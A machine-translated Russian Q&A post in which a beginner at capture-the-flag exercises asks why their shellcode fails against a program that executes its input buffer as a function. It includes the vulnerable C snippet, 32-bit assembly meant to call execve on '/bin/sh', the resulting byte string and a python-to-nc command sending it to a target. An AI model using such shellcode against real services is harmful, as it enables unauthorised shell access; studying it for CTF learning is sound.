Как внедрить Shellcode в указатель на функцию в C? - PullRequest
0 голосов
/ 21 апреля 2020

Я новичок в Shellcode, и я начал использовать CTF. Но я застрял в основном упражнении c.

Допустим, у меня есть программа. Эта программа дает мне адрес указателя execve: 0x8048450 Скажем, есть массив символов "\ bin \ sh", адрес которого у меня также есть: 0x80486a5

Уязвимый код:

char input[4096];
read(0, input, 4096);
((func)&input)();

Проблема в том, что у меня не так много информации о целевой архитектуре, потому что у меня нет двоичного файла, но я думаю, что он 32-разрядный.

Вот мой код:

 section .text
 global _start

 _start:
     xor eax,eax
     xor ebx,ebx
     xor ecx,ecx
     xor edx,edx
     mov eax, 0x80486a5
     push eax
     call 0x8048450

Затем я запускаю:

nasm -f elf -o shellcode.o shellcode.asm

и

ld -o shellcode shellcode.o -m elf_i386

, что дает

\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00

Я выполняю

python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port

, но ничего , Нужно ли ставить сани NOP для выполнения байтового массива?

Спасибо, что читаете меня!

...